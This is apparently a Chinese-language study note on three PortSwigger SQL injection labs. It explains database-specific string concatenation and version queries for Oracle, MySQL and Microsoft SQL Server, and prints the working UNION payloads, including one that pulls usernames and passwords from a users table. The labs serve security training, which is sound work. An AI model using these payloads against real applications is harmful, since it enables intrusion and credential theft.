1.概述
本篇覆盖三道PortSwigger SQL注入实验,均为UNION攻击的基础变体:
Lab 1:UNION单列取多个值
Lab 2:查询Oracle数据库类型和版本
Lab 3:查询MySQL/Microsoft数据库类型和版本
2.核心思路与关键差异
Lab 1:单列取多值
场景:原查询只有一列显示位,但需提取username和password。
解决:使用字符串拼接将多列合并到单列中。
Oracle/PostgreSQL:'a'||':'||'b'
MySQL:CONCAT('a',':','b')
Microsoft:'a'+':'+'b'
通关Payload:'UNION SELECT username||':'||password FROM users–+
Lab 2:Oracle数据库识别
场景:需获取数据库版本字符串。
差异点:Oracle没有全局系统变量,版本信息存储在系统视图v$version中。
查版本语法:SELECT banner FROM v$version
通关Payload:'UNION SELECT banner,NULL FROM v$version–+
Lab 3:MySQL/Microsoft数据库识别
场景:需获取数据库版本字符串。
差异点:使用系统变量@@version。
查版本语法:SELECT@@version
通关Payload:'UNION SELECT NULL,@@version–
3.实战技巧与反思
1.DB就像方言一样,每种DB都有自己的查询语法、字符串拼接方式、系统表。
2.真实挖洞中,识别数据库类型是渗透的第一步。
3.MySQL中–后必须加空格。在URL地址栏中,一般空格编码为%20。

